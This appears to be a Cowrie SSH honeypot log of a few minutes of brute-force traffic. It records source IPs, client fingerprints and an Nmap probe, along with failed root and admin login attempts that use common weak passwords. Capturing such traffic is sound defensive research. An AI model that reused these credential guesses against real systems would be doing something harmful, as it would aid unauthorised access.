{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:33:49.158912Z","src_ip":"23.88.42.180","session":"bd04b0129f73","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerty@#$%^&","message":"login attempt [root/qwerty@#$%^&] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:33:49.451528Z","src_ip":"23.88.42.180","session":"bd04b0129f73","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:33:50.552914Z","src_ip":"23.88.42.180","session":"bd04b0129f73","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.156.3.188","src_port":21386,"dst_ip":"159.203.135.109","dst_port":22,"session":"07d14bd66f92","protocol":"ssh","message":"New connection: 34.156.3.188:21386 (159.203.135.109:22) [session: 07d14bd66f92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:33:54.140411Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Nmap_SSH2_Enum_Algos","message":"Remote SSH version: SSH-2.0-Nmap_SSH2_Enum_Algos","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:33:54.174517Z","src_ip":"34.156.3.188","session":"07d14bd66f92","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"a20aced7c9824fd804f59e68dd801ad3","hasshAlgorithms":"diffie-hellman-group1-sha1;aes128-cbc,3des-cbc,blowfish-cbc,aes192-cbc,aes256-cbc,aes128-ctr,aes192-ctr,aes256-ctr;hmac-md5,hmac-sha1,hmac-ripemd160;none","kexAlgs":["diffie-hellman-group1-sha1"],"keyAlgs":["ssh-dss","ssh-rsa"],"encCS":["aes128-cbc","3des-cbc","blowfish-cbc","aes192-cbc","aes256-cbc","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-md5","hmac-sha1","hmac-ripemd160"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: a20aced7c9824fd804f59e68dd801ad3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:33:54.284507Z","src_ip":"34.156.3.188","session":"07d14bd66f92","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:33:54.289372Z","src_ip":"34.156.3.188","session":"07d14bd66f92","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":47984,"dst_ip":"10.17.0.5","dst_port":22,"session":"35b597f512bb","protocol":"ssh","message":"New connection: 8.210.75.243:47984 (10.17.0.5:22) [session: 35b597f512bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:33:56.837960Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:33:56.861091Z","src_ip":"8.210.75.243","session":"35b597f512bb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:33:58.307663Z","src_ip":"8.210.75.243","session":"35b597f512bb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.62.194.5","src_port":43810,"dst_ip":"10.17.0.5","dst_port":22,"session":"99469055730d","protocol":"ssh","message":"New connection: 20.62.194.5:43810 (10.17.0.5:22) [session: 99469055730d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:34:08.237569Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:34:08.241875Z","src_ip":"20.62.194.5","session":"99469055730d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.62.194.5","src_port":43820,"dst_ip":"10.17.0.5","dst_port":22,"session":"3683362d3cd6","protocol":"ssh","message":"New connection: 20.62.194.5:43820 (10.17.0.5:22) [session: 3683362d3cd6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:34:08.251419Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:34:08.256113Z","src_ip":"20.62.194.5","session":"3683362d3cd6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:34:08.272235Z","src_ip":"20.62.194.5","session":"3683362d3cd6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345678","message":"login attempt [root/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:34:08.324592Z","src_ip":"20.62.194.5","session":"3683362d3cd6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:34:09.365687Z","src_ip":"20.62.194.5","session":"3683362d3cd6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.62.194.5","src_port":43830,"dst_ip":"10.17.0.5","dst_port":22,"session":"460fe2ec6501","protocol":"ssh","message":"New connection: 20.62.194.5:43830 (10.17.0.5:22) [session: 460fe2ec6501]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:34:09.369531Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:34:09.385130Z","src_ip":"20.62.194.5","session":"460fe2ec6501","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:34:09.390601Z","src_ip":"20.62.194.5","session":"460fe2ec6501","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234567","message":"login attempt [root/1234567] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:34:09.531404Z","src_ip":"20.62.194.5","session":"460fe2ec6501","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:34:10.663022Z","src_ip":"20.62.194.5","session":"460fe2ec6501","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.62.194.5","src_port":51020,"dst_ip":"10.17.0.5","dst_port":22,"session":"0bec5f5fd687","protocol":"ssh","message":"New connection: 20.62.194.5:51020 (10.17.0.5:22) [session: 0bec5f5fd687]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:34:10.697745Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:34:10.771541Z","src_ip":"20.62.194.5","session":"0bec5f5fd687","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:34:10.774667Z","src_ip":"20.62.194.5","session":"0bec5f5fd687","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456789","message":"login attempt [root/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:34:11.061979Z","src_ip":"20.62.194.5","session":"0bec5f5fd687","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:34:12.119039Z","src_ip":"20.62.194.5","session":"0bec5f5fd687","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.62.194.5","src_port":51036,"dst_ip":"10.17.0.5","dst_port":22,"session":"c0a63398d25a","protocol":"ssh","message":"New connection: 20.62.194.5:51036 (10.17.0.5:22) [session: c0a63398d25a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:34:12.149858Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:34:12.216364Z","src_ip":"20.62.194.5","session":"c0a63398d25a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:34:12.219263Z","src_ip":"20.62.194.5","session":"c0a63398d25a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234567890","message":"login attempt [root/1234567890] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:34:12.581936Z","src_ip":"20.62.194.5","session":"c0a63398d25a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:34:13.596067Z","src_ip":"20.62.194.5","session":"c0a63398d25a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.62.194.5","src_port":51056,"dst_ip":"10.17.0.5","dst_port":22,"session":"4de91323d384","protocol":"ssh","message":"New connection: 20.62.194.5:51056 (10.17.0.5:22) [session: 4de91323d384]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:34:18.603036Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:34:18.612785Z","src_ip":"20.62.194.5","session":"4de91323d384","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:34:18.622400Z","src_ip":"20.62.194.5","session":"4de91323d384","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"123456789","message":"login attempt [admin/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:34:18.658516Z","src_ip":"20.62.194.5","session":"4de91323d384","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:34:19.675506Z","src_ip":"20.62.194.5","session":"4de91323d384","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.62.194.5","src_port":53704,"dst_ip":"10.17.0.5","dst_port":22,"session":"068c466a4a88","protocol":"ssh","message":"New connection: 20.62.194.5:53704 (10.17.0.5:22) [session: 068c466a4a88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:34:19.686908Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:34:19.690529Z","src_ip":"20.62.194.5","session":"068c466a4a88","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:34:19.702346Z","src_ip":"20.62.194.5","session":"068c466a4a88","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"12345678","message":"login attempt [admin/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:34:19.740581Z","src_ip":"20.62.194.5","session":"068c466a4a88","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:34:20.782326Z","src_ip":"20.62.194.5","session":"068c466a4a88","protocol":"ssh"}
